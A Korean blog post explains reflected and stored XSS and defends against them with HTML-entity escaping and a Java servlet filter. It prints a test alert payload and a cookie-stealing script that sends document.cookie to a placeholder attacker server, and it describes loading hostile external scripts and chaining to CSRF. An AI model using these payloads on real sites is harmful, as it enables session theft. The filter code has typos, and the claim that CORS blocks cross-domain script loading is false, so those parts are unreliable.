본문 바로가기

Technical Docs/Web Application

XSS 방어하기

XSS (Cross site script)를 방어하는법을 알아보자.

XSS 의 종류에는 Reflected / Stored / DOM Base 3가지가 있는데, DOM Base는 이전에 올린 게시물인 DOM Base를 보면 되고
이번에는 나머지 2개에 대해서 좀 더 알아보자.

 

DOM base와 나머지 2개의 차이점은 사용자의 입력이 서버와 상호작용을 하느냐와 연관이 있다고 볼 수 있다. 여기서 가장 중요한 부분!
어쨋든 공격을 하려면 공격 스크립트가 담긴 문구를 서버에 던질테니 막으려면 서버에서 사용자의 입력에 대한 필터링을 추가해주면된다.

그러면 어떻게 추가하는게 좋을까?

 

우선 어떤방법으로 사용자가 공격하는지 알아보자. 아주 간단한 예시로 Get 방식을 통해 nickname 라는 매개변수를 넘겨주면 해당 닉네임을 페이지에 표시해주는 기능을 가지고 있다. 아래와같다.

  

그러면 공격자는 어떻게 이걸 이용할까? 지금 당신이 생각하는 부분이 맞다. 넘어가는 매개변수(nickname)에 script를 삽입하면 되지 않을까? 정답이다.

[Payload]

nickname=<script>alert("test");</script>

이렇게 넣으면 위와 같이 내가 임의로 작성한 스크립트를 브라우저에서 실행시킬 수 있다. 그러면 이걸 어떻게 막을까?

사실 웹페이지를 운영하다보면 진짜 사용자의 입력이 서버의 응답값에 그대로 나타나는 경우가 매우많다. 그런 모든 인풋을 잡아서 하면야 뭐.... 본인만 힘들다. 


정답은 사용자의 입력을 서비스 운영자가 원하는 문자만 넣도록 필터링을 하면된다.

보통 스크립트를 사용하기 위해서는 < > script alert " ' ( ) 등의 특수문자를 사용하기 때문에 이런걸 막아주면된다. 이 키워드도 사실 다른 블로그에 더많다. 나는 대충 방법만 설명한다.

< 문자는 &lt /      > 문자는 &gt로 변경했다. 이유는 html entity를 검색해보자! 무튼 이렇게 소스를 변경하고 다시 스크립트를 입력하자

오잉 똑같은 공격구문을 넣었는데 스크립트가 실행되지 않고 문자그대로 나오고 있다. 왜그럴까? 맞다 내가 꺽쇠를 html entitiy로 필터링 해줬기 때문이다. 그걸 확인하는건 소스보기를 통해 가능하다.

유후 막아버렸다!

 

현업에서는 이렇게 하나하나 안막겠지..... 그러면 다른 방법이 있다.

그냥 한국에서 제일 많이 사용되는 자바... 그리고 스프링을 예시로 들자면.. 실제로 스프링을 올려서 설명하기는 매우 귀찮기 때문에 말로 설명한다. 스프링에서 사용자가 브라우저에 주소를 입력했을 때 해당 요청을 처리하는 순서가 있다.

해당 순서는 뭐 다른블로그에 많기 때문에 생략하고 우리는 web.xml에 존재하는 Filter 기능을 이용해보자.

 

1. Filter Interface

Public class xssFilter implements Filter{

	@Override
	public void init(FilterConfig filterConfig) throws ServletsException{
    	// 필터 초기화
    }
    
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)
            throws IOException, ServletException {

        // 필터 함수 구현
        
        try {
        	// 다음 필터 처리
            filterChain.doFilter(servletRequest, servletResponse);
        } finally {
        	// 예외처리
        }
    }
    
    @Override
    public void destory(){
    	// 필터 사용 끄읏
    }
  }

대충 위와같은 모양이다.  해당 적용하는 방법은 2가지가 있는데, 옛날에는 web.xml 에 필터들을 다 표시해두었다.

<filter>
    <filter-name>FilterName</filter-name>
    <filter-class>java.filter.FileClass</filter-class>
    <init-param>
      <param-name>paramName</param-name>
      <param-value>value</param-value>
    </init-pram>
  </filter>
  
  <filter-mapping>
    <filter-name>FilterName</filter-name>
    <url-pattern>*.jsp</url.patter>
  </filter-mapping>

이런식으로 web.xml 에 추가하면되는데 자세한건 개발자분들 블로그에서 참고하는게 좋을듯...

 

그리고 요즘에는 대부분 어노테이션을 통해서 처리 많이하더라... 우리회사만 그런가? 무튼 옛날에 개발한 소스보면 다 web.xml에 때려박았고 요즘 개발자 분들이 개발한 소스보면 어노테이션으로 이것저것 처리 많이하더라

대충 작성하려고 했는데 https://velog.io/@bey1548/WebFilter 이분이 설명 기깔나게 해놔서 이거보는게 좋을듯하다.

 

그러면 나는 개발보다는 보안쪽일을 하고 있으니까!!!! XSS 가 나오면 어따 써먹을지 얘기하는게 나을거같다.

 

1. <script>document.location = ‘공격자 서버주소’+document.cookie</script> 이런 느낌으로 피해자의 쿠키값을 훔쳐간다.

2. <a> 태그를 사용하는 경우 mouseover 또는 style을 사이트 전체로 변경해서 피해자가 마우스로 클릭 시 공격자가 이동시키고 싶은 사이트로 이동시켜버린다.

(reflected xss 가 가능한 경우 short url을 만들어서 1,2 번같은 행위를 하면 더 편할듯....?)

3. 남의 서버에 본인이 만든 악의적인 js 파일을 로드해버린다 <script src="xxx" ?/> 이런식으로 가져와버림

4. 이건 csrf로 이어지는건데 본인이 원하는 걸로 패스워드를 변경하는 패킷을 만들어서 피해자가 해당 xss 에 노출되면 피해자 권한으로 본인 패스워드를 공격자가 원하는 패스워드로 변경시켜 계정을 획득함

 

근데 중요한건 ㅋㅋ 이전에 컨설팅할때나 지금도 실제 저런식으로 쿠기값을 가져오는거까진 하지 않는다. 왜냐하면
1번같은 경우는 http only 설정을 통해 document.cookie로 쿠키값을 못가져가게 만든다. 만약 이거까지 우회해서 cookie 값을 타 사이트로 내보낼 수 있으면 매우 훌륭한 공격이다.
그리고 2,4 번 같은 경우는 실제 공격이고 사용자의 개입이 필요하기 때문에 여기까지는 하지 않음

3번같은 경우는 CORS 같은 정책을 많은 서버에서 적용하고 있기 때문에 서버와 다른 도메인의 JS 파일을 브라우저에 로드하는것을 금지하고 있다. 이건 서버에서 설정안해도 아마 브라우저단에서도 막는걸로 알고있음.

 

급하게 쓰느라 더 생각이 안나기는 한데 추후에 생각나면 XSS를 어디다 더 써먹을지 적어놓겠습니다. __꾸벅__